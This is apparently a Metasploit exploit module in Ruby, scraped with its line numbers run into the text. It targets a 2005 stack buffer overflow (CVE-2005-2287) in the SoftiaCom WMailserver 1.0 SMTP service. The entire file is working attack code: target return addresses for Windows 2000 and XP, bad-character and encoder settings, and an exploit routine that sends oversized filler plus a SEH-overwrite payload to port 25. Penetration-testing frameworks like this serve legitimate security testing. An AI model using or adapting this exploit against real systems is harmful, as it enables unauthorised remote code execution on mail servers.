Path: blob/master/modules/exploits/windows/smtp/wmailserver.rb
19718 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'SoftiaCom WMailserver 1.0 Buffer Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in SoftiaCom WMailserver 1.018(SMTP) via a SEH frame overwrite.19},20'Author' => [ 'MC' ],21'References' => [22[ 'CVE', '2005-2287' ],23[ 'OSVDB', '17883' ],24[ 'BID', '14213' ],25],26'DefaultOptions' => {27'EXITFUNC' => 'thread',28},29'Platform' => 'win',30'Privileged' => true,31'Payload' => {32'Space' => 600,33'BadChars' => "\x00\x0a\x0d\x20",34'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",35},36'Targets' => [37[ 'Windows 2000 Pro English All', { 'Ret' => 0x75022ac4 } ],38[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],39],40'DefaultTarget' => 0,41'DisclosureDate' => '2005-07-11',42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)4950register_options([ Opt::RPORT(25) ])51end5253def exploit54connect5556filler = " " + rand_text_alpha_upper(5115)57seh = generate_seh_payload(target.ret)58sploit = filler + seh + rand_text_alpha_upper(200)5960print_status("Trying target #{target.name}...")61sock.put(sploit + "\r\n\r\n")6263handler64disconnect65end66end676869